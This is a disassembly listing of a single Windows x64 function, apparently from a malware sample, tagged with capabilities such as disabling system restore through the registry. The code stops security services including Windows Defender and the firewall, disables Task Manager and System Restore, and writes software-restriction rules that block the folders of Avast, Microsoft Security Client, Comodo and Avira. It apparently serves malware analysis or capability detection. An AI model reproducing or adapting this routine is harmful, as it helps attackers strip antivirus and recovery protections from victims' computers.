Function at 0x14000f670
Capabilities:
Disable system features via registry on windows
Disable system restore features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
lea rcx, str.SharedAccess
call fcn.1400128a0
lea rcx, str.wscsvc
call fcn.1400128a0
lea rcx, str.MpsSvc
call fcn.1400128a0
lea rcx, str.WinDefend
call fcn.1400128a0
lea rcx, str.wuauserv
call fcn.1400128a0
lea rcx, str.BITS
call fcn.1400128a0
lea rcx, str.ERSvc
call fcn.1400128a0
lea rcx, str.WerSvc
call fcn.1400128a0
lea rcx, [rbp + 0x382]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x380], bx
call fcn.1400033f0
lea rcx, [rsp + 0x62]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x60], bx
call fcn.1400033f0
lea rcx, [rbp + 0x172]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x170], bx
call fcn.1400033f0
lea rcx, [rbp + 0x592]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x590], bx
call fcn.1400033f0
lea rax, [rbp + 0x7b0]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTSystemRestore
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f7dc
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea r9d, [rbx + 4]
lea rdx, str.DisableSR
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTSystemRestore
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f86b
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.DisableConfig
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f8fa
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.DisableTaskMgr
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_safercodeidentifiers
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000f989
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.TransparentEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x50]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x14000f9d1
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x7b0], rbx
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
mov r8, qword [rbp + 0x7b0]
test r8, r8
jne 0x14000f9d8
lea rcx, [rbp + 0x7b0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
mov qword [rbp + 0x7b0], rbx
lea r8, str.b22e811e_b5aa_47a7_a0d1_4be3dd5932fc
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_safercodeidentifiers0Paths_s
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x380]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000fa77
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.SaferFlags
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x380]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000fae2
mov rcx, qword [rbp + 0x7b0]
lea rax, str.C:Program_FilesAVAST_Software
lea rdx, str.ItemData
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x50]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x14000fb35
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x7b0], rbx
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
mov r8, qword [rbp + 0x7b0]
test r8, r8
jne 0x14000fb3c
lea rcx, [rbp + 0x7b0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
mov qword [rbp + 0x7b0], rbx
lea r8, str.b22e811e_b5aa_47a7_a0d1_4be3dd5932fc
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_safercodeidentifiers0Paths_s
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x7b0]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000fbd7
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.SaferFlags
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, [rsp + 0x60]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000fc40
mov rcx, qword [rbp + 0x7b0]
lea rax, str.C:Program_FilesMicrosoft_Security_Client
lea rdx, str.ItemData
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x50]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x14000fc93
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x7b0], rbx
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
mov r8, qword [rbp + 0x7b0]
test r8, r8
jne 0x14000fc9a
lea rcx, [rbp + 0x7b0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
mov qword [rbp + 0x7b0], rbx
lea r8, str.b22e811e_b5aa_47a7_a0d1_4be3dd5932fc
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_safercodeidentifiers0Paths_s
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x170]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000fd39
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.SaferFlags
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x170]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000fda4
mov rcx, qword [rbp + 0x7b0]
lea rax, str.C:Program_FilesCOMODO
lea rdx, str.ItemData
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x50]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x14000fdf7
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x7b0], rbx
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
mov r8, qword [rbp + 0x7b0]
test r8, r8
jne 0x14000fdfe
lea rcx, [rbp + 0x7b0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
mov qword [rbp + 0x7b0], rbx
lea r8, str.b22e811e_b5aa_47a7_a0d1_4be3dd5932fc
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_safercodeidentifiers0Paths_s
lea rcx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x590]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7b8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000fe9d
mov rcx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x7b0]
lea rdx, str.SaferFlags
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x7b0], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x590]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000ff08
mov rcx, qword [rbp + 0x7b0]
lea rax, str._C:Program_FilesAvira
lea rdx, str.ItemData
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x8c0]
add rsp, 0x8a0
pop rbp
ret